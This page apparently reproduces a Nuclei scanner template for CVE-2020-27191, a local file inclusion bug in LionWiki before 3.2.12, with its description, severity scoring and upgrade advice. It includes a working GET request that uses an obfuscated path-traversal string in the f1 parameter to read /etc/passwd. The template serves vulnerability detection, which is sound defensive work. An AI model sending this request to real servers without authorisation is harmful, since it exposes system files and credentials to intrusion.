CVE-2020-27191: LionWiki <3.2.12 - Local File Inclusion

2025-08-01 LionWiki PoC Public

Description

LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted strings in the index.php f1 variable, aka local file inclusion.

PoC

id: CVE-2020-27191

info:
  name: LionWiki <3.2.12 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted strings in the index.php f1 variable, aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade LionWiki to version 3.2.12 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.junebug.site/blog/cve-2020-27191-lionwiki-3-2-11-lfi
    - http://lionwiki.0o.cz/index.php?page=Main+page
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27191
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-27191
    cwe-id: CWE-22
    epss-score: 0.09595
    epss-percentile: 0.95221
    cpe: cpe:2.3:a:lionwiki:lionwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lionwiki
    product: lionwiki
  tags: cve2020,cve,lionwiki,lfi,oss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210099bdc0adf325bb4629d873b4c79b49bedd3690537d007445edb639185bad6b2802204d608d76a9599a1f2073a73231d5e229448384f827e10eed381c03eb0af7f909:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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